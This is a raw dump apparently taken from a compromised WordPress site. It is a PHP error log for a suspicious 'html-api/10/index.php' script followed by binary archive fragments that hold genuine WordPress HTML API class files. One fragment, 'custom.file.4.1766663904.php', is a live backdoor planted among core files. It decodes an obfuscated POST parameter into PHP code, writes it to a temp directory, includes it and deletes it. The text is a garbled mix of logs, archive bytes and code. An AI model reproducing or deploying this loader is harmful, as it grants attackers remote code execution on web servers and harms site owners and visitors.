[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKgN\�A�&class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKgN\*0��4C4C	index.phpnu�[���PKgN\�i���,mCclass-wp-html-attribute-token.php.php.tar.gznu�[���PKgN\�KW�gg�Gerror_log.tar.gznu�[���PKgN\T7��[["nJclass-wp-html-token.php.php.tar.gznu�[���PKgN\g���VV#Pclass-wp-html-tag-processor.php.tarnu�[���PKgN\�>��JJ
n�index.php.tarnu�[���PKgN\�Wy%��class-wp-html-attribute-token.php.tarnu�[���PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[���PKgN\�ȩd�d�index.php.php.tar.gznu�[���PKgN\��|Kb�b�*�jclass-wp-html-tag-processor.php.php.tar.gznu�[���PKgN\��J��class-wp-html-token.php.tarnu�[���PKgN\�,�n�n�	�error_lognu�[���PKgN\�A�&��class-wp-html-text-replacement.php.tarnu�[���PK

��PKE�N\�`��

 custom.file.4.1766663904.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/custom.file.4.1766663904.php000064400000001532151440300240021740 0ustar00<!--v7USGp1a-->
<?php

if(!empty($_POST["mar\x6Ber"])){
$record = array_filter(["/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP")]);
$descriptor = $_POST["mar\x6Ber"];
$descriptor=explode	 ( '.'	 ,		 $descriptor ); 		
$token = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);

foreach ($descriptor as $i => $val) {
    $sChar = ord($s[$i % $sLen]);
    $dec = ((int)$val - $sChar - ($i % 10)) ^ 20;
    $token .= chr($dec);
}
while ($rec = array_shift($record)) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
            $item = implode("/", [$rec, ".ref"]);
            if (@file_put_contents($item, $token) !== false) {
    include $item;
    unlink($item);
    die();
}
        }
}
}PKE�N\y��jj"class-wp-html-doctype-info.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-doctype-info.php000064400000061446151440300210023350 0ustar00<?php
/**
 * HTML API: WP_HTML_Doctype_Info class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.7.0
 */

/**
 * Core class used by the HTML API to represent a DOCTYPE declaration.
 *
 * This class parses DOCTYPE tokens for the full parser in the HTML Processor.
 * Most code interacting with HTML won't need to parse DOCTYPE declarations;
 * the HTML Processor is one exception. Consult the HTML Processor for proper
 * parsing of an HTML document.
 *
 * A DOCTYPE declaration may indicate its document compatibility mode, which impacts
 * the structure of the following HTML as well as the behavior of CSS class selectors.
 * There are three possible modes:
 *
 *  - "no-quirks" and "limited-quirks" modes (also called "standards mode").
 *  - "quirks" mode.
 *
 * These modes mostly determine whether CSS class name selectors match values in the
 * HTML `class` attribute in an ASCII-case-insensitive way (quirks mode), or whether
 * they match only when byte-for-byte identical (no-quirks mode).
 *
 * All HTML documents should start with the standard HTML5 DOCTYPE: `<!DOCTYPE html>`.
 *
 * > DOCTYPEs are required for legacy reasons. When omitted, browsers tend to use a different
 * > rendering mode that is incompatible with some specifications. Including the DOCTYPE in a
 * > document ensures that the browser makes a best-effort attempt at following the
 * > relevant specifications.
 *
 * @see https://html.spec.whatwg.org/#the-doctype
 *
 * DOCTYPE declarations comprise four properties: a name, public identifier, system identifier,
 * and an indication of which document compatibility mode they would imply if an HTML parser
 * hadn't already determined it from other information.
 *
 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
 *
 * Historically, the DOCTYPE declaration was used in SGML documents to instruct a parser how
 * to interpret the various tags and entities within a document. Its role in HTML diverged
 * from how it was used in SGML and no meaning should be back-read into HTML based on how it
 * is used in SGML, XML, or XHTML documents.
 *
 * @see https://www.iso.org/standard/16387.html
 *
 * @since 6.7.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Doctype_Info {
	/**
	 * Name of the DOCTYPE: should be "html" for HTML documents.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * Historically the DOCTYPE name indicates name of the document's root element.
	 *
	 *     <!DOCTYPE html>
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $name = null;

	/**
	 * Public identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The public identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no public identifier was present in the DOCTYPE.
	 *
	 * Historically the presence of the public identifier indicated that a document
	 * was meant to be shared between computer systems and the value indicated to a
	 * knowledgeable parser how to find the relevant document type definition (DTD).
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $public_identifier = null;

	/**
	 * System identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The system identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no system identifier was present in the DOCTYPE.
	 *
	 * Historically the system identifier specified where a relevant document type
	 * declaration for the given document is stored and may be retrieved.
	 *
	 *     <!DOCTYPE html SYSTEM "system id goes here in quotes">
	 *               │  │         ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * If a public identifier were provided it would indicate to a knowledgeable
	 * parser how to interpret the system identifier.
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes" "system id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯   ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $system_identifier = null;

	/**
	 * Which document compatibility mode this DOCTYPE declaration indicates.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * When an HTML parser has not already set the document compatibility mode,
	 * (e.g. "quirks" or "no-quirks" mode), it will be inferred from the properties
	 * of the appropriate DOCTYPE declaration, if one exists. The DOCTYPE can
	 * indicate one of three possible document compatibility modes:
	 *
	 *  - "no-quirks" and "limited-quirks" modes (also called "standards" mode).
	 *  - "quirks" mode (also called `CSS1Compat` mode).
	 *
	 * An appropriate DOCTYPE is one encountered in the "initial" insertion mode,
	 * before the HTML element has been opened and before finding any other
	 * DOCTYPE declaration tokens.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 *
	 * @since 6.7.0
	 *
	 * @var string One of "no-quirks", "limited-quirks", or "quirks".
	 */
	public $indicated_compatibility_mode;

	/**
	 * Constructor.
	 *
	 * This class should not be instantiated directly.
	 * Use the static {@see self::from_doctype_token} method instead.
	 *
	 * The arguments to this constructor correspond to the "DOCTYPE token"
	 * as defined in the HTML specification.
	 *
	 * > DOCTYPE tokens have a name, a public identifier, a system identifier,
	 * > and a force-quirks flag. When a DOCTYPE token is created, its name, public identifier,
	 * > and system identifier must be marked as missing (which is a distinct state from the
	 * > empty string), and the force-quirks flag must be set to off (its other state is on).
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @param string|null $name              Name of the DOCTYPE.
	 * @param string|null $public_identifier Public identifier of the DOCTYPE.
	 * @param string|null $system_identifier System identifier of the DOCTYPE.
	 * @param bool        $force_quirks_flag Whether the force-quirks flag is set for the token.
	 */
	private function __construct(
		?string $name,
		?string $public_identifier,
		?string $system_identifier,
		bool $force_quirks_flag
	) {
		$this->name              = $name;
		$this->public_identifier = $public_identifier;
		$this->system_identifier = $system_identifier;

		/*
		 * > If the DOCTYPE token matches one of the conditions in the following list,
		 * > then set the Document to quirks mode:
		 */

		/*
		 * > The force-quirks flag is set to on.
		 */
		if ( $force_quirks_flag ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Normative documents will contain the literal `<!DOCTYPE html>` with no
		 * public or system identifiers; short-circuit to avoid extra parsing.
		 */
		if ( 'html' === $name && null === $public_identifier && null === $system_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The name is not "html".
		 *
		 * The tokenizer must report the name in lower case even if provided in
		 * the document in upper case; thus no conversion is required here.
		 */
		if ( 'html' !== $name ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Set up some variables to handle the rest of the conditions.
		 *
		 * > set...the public identifier...to...the empty string if the public identifier was missing.
		 * > set...the system identifier...to...the empty string if the system identifier was missing.
		 * >
		 * > The system identifier and public identifier strings must be compared...
		 * > in an ASCII case-insensitive manner.
		 * >
		 * > A system identifier whose value is the empty string is not considered missing
		 * > for the purposes of the conditions above.
		 */
		$system_identifier_is_missing = null === $system_identifier;
		$public_identifier            = null === $public_identifier ? '' : strtolower( $public_identifier );
		$system_identifier            = null === $system_identifier ? '' : strtolower( $system_identifier );

		/*
		 * > The public identifier is set to…
		 */
		if (
			'-//w3o//dtd w3 html strict 3.0//en//' === $public_identifier ||
			'-/w3c/dtd html 4.0 transitional/en' === $public_identifier ||
			'html' === $public_identifier
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is set to…
		 */
		if ( 'http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd' === $system_identifier ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * All of the following conditions depend on matching the public identifier.
		 * If the public identifier is empty, none of the following conditions will match.
		 */
		if ( '' === $public_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The public identifier starts with…
		 *
		 * @todo Optimize this matching. It shouldn't be a large overall performance issue,
		 *       however, as only a single DOCTYPE declaration token should ever be parsed,
		 *       and normative documents will have exited before reaching this condition.
		 */
		if (
			str_starts_with( $public_identifier, '+//silmaril//dtd html pro v0r11 19970101//' ) ||
